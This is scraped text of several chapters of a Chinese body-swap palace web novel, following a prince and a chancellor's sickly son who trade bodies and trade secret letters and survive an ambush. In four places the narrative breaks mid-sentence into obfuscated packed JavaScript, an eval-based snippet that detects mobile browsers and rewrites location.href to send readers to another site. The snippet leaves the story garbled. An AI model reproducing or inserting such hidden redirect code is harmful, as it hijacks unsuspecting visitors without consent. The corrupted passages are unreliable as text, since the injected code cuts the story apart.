阿满将大夫迎了过来,忙道:“大夫大夫,快帮我家公子瞧瞧!” 大夫年纪大了,耳朵不怎么好使,眯着眼睛说:“什么?公主?” 阿满:“……” 阿满也没多说,扶着大夫到了内室,让他给“七公主”探脉。 荆寒章正在生闷气,终于瞧见大夫来了,积攒了一丝力气,冷冷道:“治不好我,你们都要给我陪葬!” 阿满:“……” 不行了,这七殿下好像已经被茯苓毒傻了。 大夫不知道听成了什么,吓得直接下跪,口呼万岁:“陛下饶命啊!老臣已经尽力了!” 荆寒章:“……” 阿满:“……” 小药童满脸尴尬地将大夫扶了起来,小声说:“我家先生年轻时在太医院任职,留下的老毛病了。” 荆寒章:“……” 大夫战战兢兢地为荆寒章探脉,好在他有些糊涂,医术却不错,抖着手写了个方子让阿满去煎药,态度十分诚惶诚恐,好像真的以为荆寒章是皇帝。 荆寒章都气得没力气了,靠在软枕上小憩,懒得理他们。 阿满将人送走,对小药童小声说:“去找相府管家要银子。” 小药童点点头,颠颠跑了。 阿满乖乖回去煎药,将药煎好后,端着进了内室。 荆寒章已经气得睡着了。 阿满推了推荆寒章,小声道:“殿下,醒醒,喝药啦。” 荆寒章好不容易强迫自己睡着不去在意浑身的痒意,还没睡一会就被阿满吵醒了。 他倏地张开眼睛,晏行昱那双纯澈漂亮的眸子此时罕见地全是戾气。 阿满小心翼翼看着他,怯怯地将药碗往他面前一递,示意您请。 荆寒章面无表情地接过来,沉着脸将药一饮而尽。 晏行昱每次喝完药都要自己和自己生一会气,但七殿下却没那么毛病,喝完药直接闭上眼睛,不理他了。 阿满将药碗送回去,很快又拿着一个小瓷瓶过来,小声说:“殿下,我给您上药。” 荆寒章没吭声,好像已经彻底不在意了,任由阿满折腾。 阿满不敢直接用手碰他,拿着一小团棉花,挖了些清甜的药膏,轻手轻脚地涂在荆寒章脖颈上的红痕。 荆寒章一动不动地装死。 等到阿满擦完药收回手时,他眼睛睁都不睁,沉沉开口道:“你家主子还有什么不能碰的事物吗?一并说了。” 阿满想了想,道:“除了茯苓糕和肉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727631|189528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,主子其他东西都能吃。” 荆寒章:“……” 还不能吃肉! 荆寒章要气死了。 “啊,对了,还有一个……”阿满小声补充。 荆寒章自小到大每顿必有荤食,茯苓糕更是他最爱吃的糕点,没想到这晏行昱样样都不能碰。 荆寒章已经彻底绝望了,索性破罐子破摔,没好气道:“快说,还有什么?” 给他个痛快。 阿满小心翼翼窥着荆寒章的神色,声音放得极轻:“还有……不能碰女人。” 荆寒章一愣,他还以为是其他的吃食,没想到却是这么个广泛的范围。 “女人为什么不能碰?”荆寒章蹙眉,“他是单单不能碰哪个女人,还是所有女人?” “所有。”阿满道,“不能靠近他一步之内。” 荆寒章:“……” 荆寒章匪夷所思地看着他,没想到有人竟然会这么奇怪,连靠近女人都不行? 他想了半天,才满脸古怪道:“那你家公子……往后娶妻怎么办?” 阿满说:“我家公子没打算娶妻。” 荆寒章若有所思地“哦”了一声,懂了。 断袖。 阿满见他这个表情就知道他在想什么,连忙解释:“我家公子也并非断袖,他只是清心寡欲惯了,又因身子虚弱怕连累其他人,从没想过要成家。” 荆寒章懒洋洋靠在软枕上,似笑非笑道:“我又没说什么,你这么着急澄清做什么?” 阿满讷讷不语。 晏行昱自小在寺庙长大,从没人对他说过情爱之事,恐怕连断袖是什么都不知道,若是稀里糊涂被冠了个断袖的名号,那他家公子未免太过可怜。 荆寒章大概被折腾得惨了,此时终于逮到了晏行昱的小尾巴,心中莫名有些舒爽。 他正打算问问晏行昱见了女人后的反应,到底是丢人的羞涩脸红,还是大惊失色地排斥,突然像是想起了什么,脸色一僵。 阿满:“殿下,有事要吩咐吗?” “完了。”荆寒章面无表情地想,“我宫里有一半宫人都是侍女。” 宫中。 晏行昱满脸漠然,披头散发衣衫凌乱,手中紧紧握着荆寒章头发上的赤绦,浑身紧绷仿佛要上战场杀敌。 外室传来宫人的私语声。 “殿下方才不是在抄书吗?这是怎么了?” “琼玉方才为殿下奉茶,才刚靠近,殿下突然像是受了惊,起身跑进了内室……” 那叫琼玉的侍女跪在外面小声呜咽:“奴婢并未冒犯殿下,总管恕罪。” 荆寒章宫中的太监总管小心地进了内室,在珠帘外请示:“殿下,可是下人伺候不周?” 晏行昱深吸一口气,道:“无事,都散了。” 总管道:“那奴才进来……” 晏行昱拼命往后缩了缩,脑袋直接撞到了一个坚硬的东西,疼得他呜了一声。 他强忍着,低声说:“都别进来,我……我已歇下了。” 总管犹豫半天,透过珠帘并没有瞧见床榻上有人,但殿下这么说,他也只能颔首称是,躬身退下了。 晏行昱仔细听了半天,直到外殿都没了声音,才小心翼翼从床底下出来。 他的脸蛋上已蹭了好几道灰痕,瞧着十分狼狈。 晏行昱拢着披散的墨发,面如沉水坐在桌案前给荆寒章写信。 晏行昱抬手浑浑噩噩写了两行,回过神来才发现纸上全是—— 「殿下救命」 「殿下换回来」 18. 你乖 殿下也没法子救他。 晏行昱坐在案旁许久,才将纸团揉着扔了,重新提笔,规规矩矩写了一封信。 信上装作若无其事地写了“不能出宫,努力抄书”,又隐晦地让荆寒章前去国师府催促国师尽快寻到换回魂魄的法子。 晏行昱写好后,又去七殿下的小库房挑了一块玉,学着之前的法子将信放在盒子夹层中,让人送去给晏沉晰。 “殿下说是赏给大公子的。” 晏沉晰接过盒子,眉头皱得死紧。 今日不是才刚赏过吗,怎么又赏? 话虽如此,晏沉晰还是起身去了趟丞相府。 荆寒章原本已经喝了药歇下了,听说“七殿下”又赏给自己东西了,气得他半死。 “我不要!给我送回去!” 荆寒章完全不懂晏行昱到底是真的只想送信,还是故意为之的,每回都是同一个理由同一个法子来送信,而且还是同一个人,就不能派宫里的人出来送吗? 非得浪费玉! 荆寒章盯着那玉,要气晕过去了。 晏沉晰正在查他没喝完的药底,嗅了半天确定药中没有稀奇古怪要人命的东西,才将药碗放下,蹙眉道:“殿下既赏了你,你就该收着,哪有再送回去的道理?这不是明摆着甩殿下脸吗?” 荆寒章面无表情地想:“我还有脸吗?” 被困在这么一副病弱躯壳中,每日喝那苦得要人命的药,还要看着自己的东西赏给“自己”,这往哪儿说理去?! “收着吧。”晏沉晰道,“殿下懂得分寸,这应该是最后一回了。” 荆寒章气得要死,但却什么都做不了,只好捏着鼻子收下了。 晏沉晰走后,阿满来给他读信。 荆寒章冷冷把玩着玉,道:“简短点,告诉我他到底想说什么。” 阿满一目十行将那整整两页密密麻麻的信看完,十分了解他家公子性子的阿满干咳了一声。 “公子通篇都在说……”阿满总结,“殿下,抄书好累哦。” 荆寒章:“……” 抄书累就能随意坑我玉是不是?! 荆寒章突然想到了国师喊晏行昱“小玉儿”的事,难道是因为他成天坑别人玉?! 荆寒章气得睡不着,只好拿着小刻刀,气咻咻地雕玉。 “给你雕个丑小鹿!”荆寒章生气地想,“你就叫晏行鹿,晏行鹿!” 晏行鹿……晏行昱平白得了一块玉,连抄书时心情都极好。 他在四处都是陌生人的地方睡不着,直接抄了一晚上的书。 将那三本书抄了三遍时,外面已经破晓。 荆寒章身体底子很好,哪怕一夜没睡也察觉不到多少疲累,他换衣时让宫中总管把侍女全都打发了出去,用早膳时旁边也没多少人。 七皇子宫中的早膳全是荤菜,晏行昱刚坐下就被满桌子的荤食给惊住了。 昨日的午膳晚膳晏行昱根本没吃多少,又怕被发现只能强行吃了些菜,宫人布菜时的肉全被晏行昱给埋在碗底了。 他本以为早膳会清淡点,没想到依旧如此。 晏行昱故作镇定,只喝了点白粥,其余一概没碰。 宫人小心翼翼道:“不合殿下胃口吗?” 晏行昱摇头。 宫人的眼中有些迟疑,看着晏行昱的视线也有些奇怪。 晏行昱故作不知,抬手捏起一旁的茯苓糕咬了一口,道:“将这些东西都撤下去吧,多拿些茯苓糕来。” 宫人一怔,这才松了一口气。 七殿下性情古怪也不是一日两日了,无论做出什么奇事也都不奇怪。 晏行昱之前也吃过茯苓糕,虽然每回下场都很惨烈,但依然钟爱那味道,这次他吃得小心翼翼,吃了两块后感觉到身上并没有发痒,这才放宽了心。 晏行昱一连吃了好几块,直到江枫华来催他,他才起身去了南书房。 林太傅今日依然没什么精神,等四位皇子都来齐了,便开始慢吞吞地继续讲书。 晏行昱昨日自食恶果,这次不敢再故意惹事,安安分分地撑着下颌,看起来是在出神,实际上却是在听林太傅讲课。 寒若寺的僧人成天就知道吃斋诵佛,晏行昱幼时的启蒙先生是年纪也不大的国师连尘。 而连尘进京后,小小的晏行昱只好在藏书阁自学,自小到大从未有过被老师教导的经历。 这是第一次。 林太傅身体不好,讲了不到两刻钟就要歇片刻,那空当也正是皇子们自由玩闹的时间。 晏行昱正在琢磨林太傅方才所讲,眼前就有一个黑影笼罩了下来。 他抬头看去,八皇子和九皇子那对双生子不知为何正站在他桌案旁,眯着眼睛笑。 “七哥。”也不知是八还是九的皇子笑眯眯地说,“听说昨日您在宫中抄了一日的书,父皇都在称赞您刻苦好学,不知遐之可有荣幸向您讨教一二?” 荆遐之,是八皇子。 江枫华看出了他的来者不善,陪着笑道:“八殿下……” 荆遐之瞥了他一眼:“本殿下要你搭话了吗?” 江枫华脸色有些难看。 荆遐之大概已经靠着学识欺负惯了荆寒章,虽然每次都会喝退,但每每瞧见荆寒章大字不识一个,那副无能狂怒的神色,就算被太傅和父皇责罚,荆遐之也乐此不疲。 荆寒章在宫中太过狂妄了,骑射功夫堪称一绝,加上圣上溺爱,他们这些和皇位无缘又不受宠的皇子,也只有在荆寒章最不擅长的学课上能取回一点优越感了。 荆遐之好整以暇地等着看荆寒章出丑,眼中的得意怎么都掩饰不住。 晏行昱安静地看着他,不知想到了什么,突然一笑,淡淡道:“好啊。” 荆遐之一看他竟敢应答,心中笑得不行,和九皇子对视一眼,开口道:“听闻七哥最喜雕玉,不知可曾听说过一句‘有斐君子,如切如磋,如琢如磨’这句话?” 晏行昱道:“自然听说过。” 荆遐之顺势问道:“七哥知道这句话是什么意思?” 晏行昱:“……” 晏行昱开始沉思,那荆寒章在其他人眼中到底是个怎么样不学无术的草包,竟然会被问这种孩子都知道的话? 晏行昱沉默一会,才道:“知道。” 他的沉默被荆遐之认为是心虚,见状更加得意了,道:“那‘如切如磋’者,道学也。 ‘如琢如磨’者,自修也。又是何意?” 晏行昱终于明白他为什么总是要逮着这两句总所周知的话来逼问“荆寒章”了。 荆寒章最爱雕玉,每每皇帝得了上好的玉,必定是先要送来七皇子殿中,最爱雕琢玉器之人,却是个不学无术连“秣马厉兵”都不知是什么意思的草包。 君子如雕琢玉器 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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晏行昱像是教孩子一样,一只手敲着他的肩膀,那每一下落在肩上的重量虽然微弱,但莫名有压迫人心的强势。 “‘像切磋骨器’,是说治学之道。‘像雕琢玉器’,是说修身。” 他说完,还唯恐他的傻弟弟听不懂,温柔又耐心地问:“听懂了吗?听不懂我再给你重复一遍。” 宛如把他当成一个三岁稚童都不如的傻子。 荆遐之:“……” 荆遐之的气势莫名其妙地被晏行昱压制住了,因为压得太死,让他莫名有些耻辱感,却又不敢出言顶撞,只能咬着牙点头。 周围的人完全不知道是怎么发展到这个地步了,全都愣愣看着。 晏行昱见他点头,似乎有些满意,抬手按在他的肩膀上,微微俯下身,凑在荆遐之耳畔,低声道:“如你心中所想,君子的确如雕琢玉器,而你七哥也并非君子。” “既然我非君子,难道你还要我持君子之礼,行君子之事吗?”晏行昱柔声说,“你乖,晚上出门时注意着点,当心后面有人看着你。” 荆遐之:“……” 荆遐之突然浑身一哆嗦,迷迷糊糊间感觉背后好像被猛兽或厉鬼盯住,冷汗几乎要出来了。 19. 暗杀 晏行昱吓完人后,便直起身来,拍一拍荆遐之示意他赶紧滚,别挡着自己用功学习。 荆遐之浑浑噩噩被按在案旁吓了一顿,又迷迷糊糊地被赶走,直到九皇子拽了拽他的手,他才猛地回过神来。 晏行昱已经将荆遐之坐过的椅子一脚踢走,大概是嫌脏,抬脚勾来个新的,敛袍坐了下来。 荆遐之看到他气定神闲的模样,又回想起自己方才被强行压制的事,顿时羞愤欲死。 他一把甩开想要低声劝告他的九皇子,被怒火冲了心,竟然直接冲了上来,怒道:“你前几日还在问太傅‘昱’字怎么写,今天为何突然对《大学》之解这般通透?!” 荆遐之气得直喘气,他年纪不大,极爱意气用事,瞪着晏行昱时几乎要哭出来了。 晏行昱微微挑眉。 荆寒章前几日为什么突然问起“昱”字? 晏行昱见荆遐之气得面容微微扭曲,又愤怒又无能为力,眼泪马上就要掉下来了,不知怎么突然联想到了晏为明那个小蠢货。 “啧。”晏行昱学着荆寒章的样子翘着腿,一副吊儿郎当的样子,似乎觉得荆遐之问出这个问题十分可笑愚蠢。 翘高了腿浑身放松后,晏行昱突然心想:“怪不得他总是恨不得把腿翘到天上去,原来舍弃端庄,坐没坐相竟然这般舒坦。” 他这副惬意的模样更是气得荆遐之差一点点就泪崩,强行忍住。 “你方才不是自己说的吗,你七哥我昨日一直都在抄书。”晏行昱淡淡道,“你若认真听太傅讲课,定能知晓太傅昨天讲的策论里引用了《大学》之词,我被罚抄的书中恰好有这本,抄了三遍自然懂了些。” 荆遐之一愣。 晏行昱看着他骤然苍白的小脸,笑得更深:“倒是你,知道几句论解就叫通透,看来八弟平日里也是这般糊弄功课的。等会太傅回来了,我定会帮你劝说太傅,往后每本书只教你两句,你便通透了。” 荆遐之:“……” 荆遐之不知道自己到底是怎么落到这种地步的,他明明只是想看“荆寒章”平日里那副不识字不通文而恼羞成怒的样子,怎么最后……这般难堪的却是他? 荆遐之茫然看了他半天,恍惚间似乎觉得这南书房所有人都在笑他。 他突然掩面狂奔了出去。 九皇子也连忙追出去。 两人的伴读在原地不知所措,五皇子在角落里嗤笑了一声,满是嘲讽。 整个南书房的宫人都低着头不敢看,心中小算盘却是打得啪啪作响。 晏行昱将两个孩子硬生生气哭,翘着腿坐在原位面色不改,还好心地对一旁的侍讲道:“记一下,八弟九弟逃了林太傅的课,等下了学记得去告知……父皇。” 侍讲:“……” 所有人:“……” 江枫华瞠目结舌,久久回不过神来。 他家殿下……何时有过这样的小手段? 难道说抄书真的会长心眼?! 晏行昱轻轻松松摆平两个碍眼的,撑着下颌听完了课,才带着江枫华回了宫。 江枫华一路上都恍恍惚惚的,等到了七皇子宫才如梦初醒,狂喜道:“殿下今日做的太对了,平日里八殿下九殿下总是仗着那点学识欺负人,也没少给圣上告您偷懒的状,这回也该让他们吃些苦头了!” 晏行昱心中无声叹息,荆寒章那种极易被挑动怒火,竟然被两个孩子欺负成这样。 他回到了书房,提笔写了一封信,放在盒子时交给江枫华,让他送去相府。 江枫华正在对桌子上抄好的书啧啧称奇,没想到他家殿下竟然真的会主动抄书,而且还有模有样,一看就用了功夫的。 听说要将盒子送去相府,江枫华一怔,才笑了一声,道:“殿下这几日好像极其喜欢去相府。” 晏行昱撑着脑袋,他袖口好像有些湿了,似笑非笑地看他:“是啊,我可喜欢了。” 江枫华对上他的眼睛,不知怎么总觉得有些奇怪,他不敢多问,接过盒子,道了声是,离宫办事去了。 相府。 荆寒章正在院中晒太阳,睡了一晚后,茯苓糕所引起的异状已经消失,他刚喝完早膳的药,嘴中苦得要死,心情十分烦躁。 阿满还是规规矩矩地将茯苓糕放在桌子上,荆寒章闻着味道却不能吃,别提有多憋屈了。 忍了又忍,荆寒章还是没忍住,吩咐道:“给我买点蜜饯来!” 阿满正在一旁喂小鹿,闻言无辜道:“公子说蜜饯太贵,不让买。” 荆寒章:“……” “哪里贵?!啊?!”荆寒章按着心口,怒道,“就那点银子能算银子吗?你快给我去买,回头我赏你家公子十八车蜜饯,吃都吃不完!” 阿满摇头:“不行的,公子吩咐了不能买就是不能买。” 荆寒章从未受过这种憋屈,气得心口又在隐隐作疼。 好在他已经习惯了晏行昱这具躯体,靠在椅背上喘了一会就缓过来了。 这时,江枫华刚好过来了。 见是江枫华过来,荆寒章脸色好看了些,晏行昱终于知道换人来了。 荆寒章对自己的伴读极其冷酷,根本不等他说话,就一把夺过盒子,道了声“送客”。 江枫华:“……” 江枫华一句话都没说,就迷迷瞪瞪被送走了。 荆寒章将盒子打开,差点又被气犯病。 晏行昱换了个人没错,但盒子里竟然还放了块玉。 用不了几天,七殿下宫中的玉指不定都要被晏行昱赏完的! 荆寒章气若游丝,手软地从夹层里取出来信。 这次的信十分奇怪,似乎被泼了水,墨痕都晕染开来,细看下那字竟然是仿得荆寒章的字迹,上面只有三个字。 「晏行鹿」 落款依然是七个不耐烦的点。 荆寒章眉头一皱,发现了蹊跷。 他将盒子翻了个遍,终于在盒子最底下的夹层寻到了另外一封信。 这次是晏行昱的笔迹。 晏行昱每回写信都要用长篇大论来表述自己到底有多辛苦,您的玉赏的有多值,看得荆寒章头大。 但这一次,晏行昱却直接开门见山。 「第一封信笺打开前若有撕痕,便是有人窥信」 荆寒章眉头皱得更紧。 他将写着「晏行鹿」的信拿了过来,那信应该是刚写好就被沾了水塞到了信封中,若是沾了水的纸在未干时就被打开,必定会有隐约的痕迹。 而此时水痕已干,荆寒章撕开信封往里面看了看,发现里面果然有被强行扯出来信的痕迹。 方才荆寒章拿出信时没有收到丝毫阻力,不可能是他扯出来的。 荆寒章眸子幽深,继续看那封信。 果不其然,下一句便是:「江枫华有古怪,慎之」 阿满原本还等着荆寒章让自己读信,没想到这次他竟然自顾自看了起来。 阿满好奇地凑了过去,小声说:“公子这次说了什么呀?” 荆寒章也没什么意外之色,没说话。 阿满又问:“您……笑什么?” 荆寒章不知何时脸上已有了笑容,他撑着下颌懒洋洋地靠着椅背,淡淡道:“笑你家公子,明明是狼,却硬要去装鹿。” 这话有些熟悉,阿满讷讷没说话。 阿满偏头看了一眼信上的字,“啊”了一声,才愕然道:“您的伴读……是坏人派来监视您的?!” 荆寒章被这句极其单纯的“坏人”逗笑了,他手指轻轻敲着扶手,漫不经心道:“帝王家,哪里分什么好坏啊?” 阿满似懂非懂,拿起纸又翻了翻,指出被七殿下故意无视的话,道:“公子还说了,他帮您把八皇子九皇子欺负哭了,要您赏他。” 荆寒章:“……” 荆寒章唇角高深莫测的笑容差点没崩住。 晏行昱之前的信还十分含蓄,拐弯抹角地让荆寒章赏他,这次可倒好,连弯都不拐了,直冲了过来。 不过荆寒章心情很好,盯着那块玉看了半天,突然噗嗤一声笑了出来。 “好,赏就赏。” 晏行昱在满是侍女的宫中抄了两天的书,荆寒章也在相府喝了两天的药,两人皆是苦不堪言。 晏为明依然每日来搅扰荆寒章,吵着闹着要他教自己东西。 荆寒章烦的不行,整日闭门,没想到晏为明为了躲避丞相的责罚,竟然大半夜翻.墙来偏院,手中还拎了好几本书。 荆寒章刚从国师府回来,国师对这“咒术”没有丝毫进展,荆寒章喝药喝出了一腔火气,回来后瞧见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727633|189528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晏为明正扒着围墙往院子里爬,当即气笑了。 “把他给我打下去!” 阿满应声称是,抬手弹出一道劲风,晏为明哎呦一声被打中膝盖,直接头朝下栽进了院子里。 扑通一声,发出好大一声闷响。 荆寒章由着阿满将自己推进院子,眉间的冷意几乎要将晏为明冻成冰块。 好在墙角下雪厚,晏为明没摔怎么狠,爬了起来正要发怒,就扫见他哥一副要杀人的表情,立刻怂了。 荆寒章冷冷道:“好玩吗?” 晏为明抱着书,极其委屈:“爹说你若是不教我,他就罚我跪祠堂,还不给蒲团。” “关我何事?”荆寒章十分冷酷无情,“跪着去。” 晏为明小声说:“哥,哥救命啊。” 荆寒章:“……” 荆寒章不可置信地瞪着他,难道这晏家的人都这么会扮可怜吗?! 荆寒章恨恨看他,正要说话时,眼尖地察觉到一道黑影突然踩着围墙飞奔而来。 与此同时,偏院外的长街上传来官兵的声音。 “摄政王府珍宝被盗!抓住盗贼之人重重有赏!” 紧接着,数十个穿着惊蛰卫服的人腾空跃上城墙,完全不顾这是相府,如入无人之地捉拿盗贼。 阿满本来在看好戏,看见突然闯进来的陌生人,随手往腰后一抽,直接抽出来一把软剑。 晏为明不明所以,还没弄明白发生了什么,就听到荆寒章厉声道:“躲开!” 一道冷光从黑暗中闪出,惊蛰卫手中暗弩朝着盗贼射去,呼啸声响彻耳畔,不知是不是得了谁的授意,混乱间竟然有暗箭朝着荆寒章和晏为明射来。 荆寒章反应极快,一把拉住离自己不远的晏为明,强行按着他的头躲在轮椅旁,省的被暗箭中伤。 几枚刻有惊蛰卫印记的箭齐刷刷射在地上——正是方才晏为明所在的地方。 晏为明迷茫回过神来,无意中扫见,呆了半天,脸唰的一下白了。 他害怕地站都站不起来,哆嗦着讷讷道:“哥……哥!” “蠢货!”荆寒章骂了他一句,“别叫我。” 晏为明这才意识到,他哥只是个病弱的瘫子,就算自己向他求救,他也无力救他。 他能保住自己就不错了。 耳边依然有暗箭不断射中地面,有时候差点射中晏为明,溅起的灰尘还扑到了晏为明嘴里。 晏行昱的住处本就偏远,照明的灯笼被直接射翻,烛火明明灭灭两下,直接熄灭了。 周围一阵黑暗,只有雪光能照亮些微光。 从没有人敢在丞相府撒野,晏为明头一回遇到这种阵仗,吓得瑟瑟发抖,嘴里全是泥土都顾不得了。 他满脸绝望,但还是摸索着强行爬起来。 荆寒章一把把他扯下来,怒道:“你做什么?老实待着别动!” 晏为明哭得小脸难看至极,害怕得要死还是哽咽着说:“你那侍从太……太没用了,都不顾你的死活了!我我想把你推进房里去……呜!” 荆寒章:“……” 荆寒章听着他带着哭腔的声音,差点笑出声。 一道箭再次射了过来,被暗处的阿满直接用软剑一挑,箭直接断成两截。 荆寒章也算是瞧出来了,他父皇应该是借由天象察觉到了什么,所以才想借追捕盗贼的缘由,让惊蛰卫光明正大入相府,妄图在混乱间杀死晏行昱。 那七杀格的命格,就这般让皇帝忌惮吗? 荆寒章陷入了沉思,此时相府的家丁已经听到动静打着灯笼赶了过来。 晏为明还在想着要把那废物瘫子推到房里去,但刚爬起来,就在烛火的照亮下。看到他一向柔柔弱弱的兄长面无表情地朝着黑暗中抬起手。 一声利箭离弦的声音响彻耳畔,荆寒章眼睛眨都不眨,青袍袖口微微一动,紧接着不远处传来一声闷哼,似乎是有人中箭了。 晏为明呆呆地抬头看去,这才发现那一直在放暗箭的人不知何时已经完全消失。 哪怕在黑暗中,荆寒章依然百发百中,他面如沉水地将腕上的弩放完后,才偏头似笑非笑睨了被吓呆的晏为明一眼。 “很好。”荆寒章淡淡道,“小蠢货也知道护着哥哥了。” 晏为明:“……” 20. 出宫 相府的人来得极快,随之而来的还有一身戾气收拾残局的晏沉晰。 阿满已经将荆寒章推去了房中,晏为明手软脚软,满脸呆滞地跟了进去,整个人完全一副“我是谁我是在梦里”的蠢样子。· 荆寒章完全没有受惊的模样,姿态懒散地靠在椅背上,将手腕上绑着的弩摆弄两下,随口朝阿满道:“再给我拿四支箭来。” 阿满歪头:“可是这弩不是只能装三支箭?” 荆寒章似笑非笑地瞥他:“把你家公子那些乱七八糟的暗器毒药拿掉,这弩起码能装六支。” 阿满:“……” 阿满不敢再追问了,讷讷称是,去内室拿箭了。 晏为明呆呆站在一旁半天,才后知后觉,突然“哇”的一声哭了出来。 荆寒章:“……” 荆寒章不耐烦道:“别哭,我烦。” 晏为明一屁股坐在地上,捂着嘴呜咽着,被吓出来满脸的泪水。 “呜……方才我我们差点死了。”晏为明站都站不起来,坐在地上拽着荆寒章的衣摆,哭着说,“我要告诉爹!让他们严惩那些恶人!爹!娘啊!” 荆寒章:“……” 晏戟到底怎么教儿子的,一只老狐狸竟然生出个兔子似的儿子? 荆寒章最不喜愚蠢怯弱的人,但看在方才晏为明在危险中还是想把他推到房里的份上,勉强还能再容忍他一会。 “别哭了,晏……爹肯定会处理好的,你先稳一稳,我有事要交代你。” 晏为明抽噎着擦干眼睛,这才意识到平日里一直被他嘲讽病弱瘫子的兄长,好像是个深藏不露杀人不眨眼的高手。 他被吓了一下,原本哭还没停下来,这下直接变成了打嗝。 晏为明脸上全是惊慌,大概是怕荆寒章找他报复平日里的无礼之处。 荆寒章看他这副害怕却又傻到没想着逃的样子,大概觉得好玩,微微弯下腰,压低声音高深莫测道:“怎么?你怕我?” 话音刚落,晏为明就满脸惊恐地打了个嗝。 荆寒章:“……” 压迫感瞬间就被这个嗝给击散了。 晏为明立刻捂住了嘴,想要止住嗝,但他越紧张就越止不住,没一会打得身子都在哆嗦了。 荆寒章彻底失去了逗他的耐心,揉了揉眉心,道:“交代了你也不懂,你去将护着你的侍从叫来。” 晏为明见他似乎没打算揍自己,才努力控制着混乱的气息不让自己打嗝,挂着泪小心翼翼地说:“叫侍从……嗝,干嘛呀?” 荆寒章冷冷看他:“把你杀了抛尸。” 晏为明:“……” 晏为明吓得险些来个五体投地趴在地上。 荆寒章直接被他气笑了。 就在这时,阿满从内室走出来,将找出来的箭给荆寒章。 荆寒章接过来看了一眼,发现每一支箭的箭尾都刻着相府的印记。 荆寒章表情古怪,看着阿满问:“我射出去的三支箭,也是这样的?” “是啊。”阿满不明所以,“公子归京后,就把所有的箭换成相府的了。” 荆寒章看了那箭半天,突然就笑了。 他本还在担心阿满这么大摇大摆地将惊蛰卫处理了,会被皇帝发现晏行昱不是个任人宰割的病弱瘫子,现在看来,这晏行昱在归京前应该就做好了韬光养晦的打算。 就算有人来偏院探查被阿满给宰了,也会让人以为是丞相派的人做的。 如果不是两人突然魂魄互换,自己指不定还以为相国公子是个不良于行软弱无能的瘫小鹿,对他嘲讽有加呢。 一想起整个京都城的人都被晏行昱的伪装欺骗得团团转,荆寒章一时间心情十分复杂。 他干净利落地将三支箭换上,又撬开装暗器的匣子,鼓捣半天将第四支箭安了上去。 晏为明本来还在小小声地打嗝,努力把自己的存在感隐藏,扫见他哥毫不拖泥带水的装箭动作,眼睛都瞪大了。 荆寒章安好后,将袖子放下来,偏头看了晏为明一眼,故意露出一个阴恻恻的笑容,道:“接下来,只要把你解决,就无人知晓此事了。” 晏为明被他这个表情吓住了,眼泪又开始簌簌往下掉。 “哭得可真惨啊。” 荆寒章歪头看着,突然就“噗嗤”一声笑了出来。 晏为明脸上还挂着泪珠,满脸茫然地看着他。 荆寒章慢悠悠道:“下回还敢再缠着我吗?” 晏为明拼命摇头:“不敢了不敢了再也不……” 他还没说完,突然浑身一僵,大概想到了晏戟的交代,僵了半天,才哭丧着脸打商量:“哥,我不缠着你了。你这么厉害,能和爹说让我出府玩吗?” 荆寒章:“……” 荆寒章匪夷所思地看着他,怀疑此人到底是真的傻,还是在装傻。 自己都这般威胁他了,这蠢货竟然还有闲情想着出去玩? 晏为明其实也很怕,但一对上他哥那张脸,不知怎么的本能作祟,笃信他哥不会杀他。 荆寒章没好气地瞪了他一眼,彻底服气了:“就那点出息。起来吧,等会惊蛰卫来问,你知道该怎么答吧?” 晏为明这才确定方才荆寒章果真是在吓他,他莫名有些委屈,拽着他的衣摆在手指上绕来绕去,讷讷道:“知道,就说是暗中保护我的侍卫做的。” “特别好。”荆寒章凉凉道,“你哥很穷,就这唯一一件能出去见人的衣裳,你若给我撕坏了,当心我讹你。” 晏为明:“……” 晏为明见状立刻把手中的衣裳放下,小声说:“哥你缺钱吗?” 荆寒章瞥他,这才一会功夫,这小蠢货连哥都叫上了。 “缺,可缺了。” 两文钱“你哥”都得捡回来。 晏为明闻言连忙从怀里掏出来一个钱袋子,捧着给他,说:“这是为明的全部积蓄,给哥买衣裳。” 荆寒章也不矫情,直接接过来钱袋打开,他往里面瞧了一眼,古怪地看着晏为明。 晏为明冲他露出一个笑,可乖了。 荆寒章晃了晃钱袋,嫌弃道:“弟弟,你的全部积蓄就是这几两银子?” 晏为明绕着手,小声说:“爹每月给我的银子并不多……” “少来。”荆寒章瞥他一眼,这个丞相小公子在京都城可是出了名的一掷千金,怎么可能每个月就这么点银子。 “我最烦别人骗人,你若骗我,我明日就去找爹……” 一说找晏戟,晏为明小脸都白了,忙说:“别别找爹,我的银子都……都输了,呜你别找爹,爹会打我的。” 荆寒章匪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“等着。”荆寒章将钱袋扔还给他,撑着下颌懒洋洋道,“过几日你寻个缘由把那几个赢你钱的人约出来,让你哥来帮你玩几局投壶。” 